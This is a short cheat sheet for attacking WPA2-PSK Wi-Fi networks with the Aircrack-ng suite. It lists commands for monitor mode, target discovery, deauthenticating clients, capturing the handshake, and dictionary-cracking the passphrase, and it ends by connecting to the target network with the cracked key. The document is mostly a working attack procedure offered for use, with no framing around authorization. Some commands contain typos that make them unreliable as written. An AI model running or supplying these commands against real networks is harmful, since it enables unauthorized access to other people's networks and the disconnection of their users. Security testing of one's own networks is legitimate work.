WPA2 PSK Hacking Process

Tool: Aircrack-ng suite

Steps:

1) Place = Place wireless card into monitor mode

2) Discover = Discover information about network (Channel, BSSID)

3) Select = Select and capture data

4) Perform = Perform deauth attack

5) Capture = Capture WPA handshake

6) Attempt = Attempt to crack the handshake

Commands:

1)

iwconfig

2)

airmon-ng check kill 

(Kill processes that might interfere)

3)

airmon-ng start WIRELESS_INTERFACE 

(example: wlan0)

4)

airodump-ng WIRELESS_INRERFACEmon 

(wlan0mon) (Monitor for traffic and search for an access point to target)

5)

airodump-ng -c CHANNEL --bssid BSSID -w CAPTURE_FILE -w WIRELESS_INTERFACEmon 

(wlan0mon) (Capture the 4-way handshake)

6)

aireplay-ng -0 NUM -a MAC_ADDRESS_OF_ACCESS_POINT -c STATION_NUMBER WIRELESS_INTERFACEmon 

(wlan0mon) (Deauth Attack, NUM means how many times will this attack be performed)

7)

aircrack-ng -w WORDLIST.TXT -b BSSID CAPTURE_FILE 

(Crack WPA Handshake)

8)

wpa_passphrase TARGET_SSID 'ENTER PSK HERE' > config

9)

sudo wpa_supplicant -B -c config -i WIRELESS_INTERFACE

(Supply the cracked PSK, then connect to the target Wi-Fi)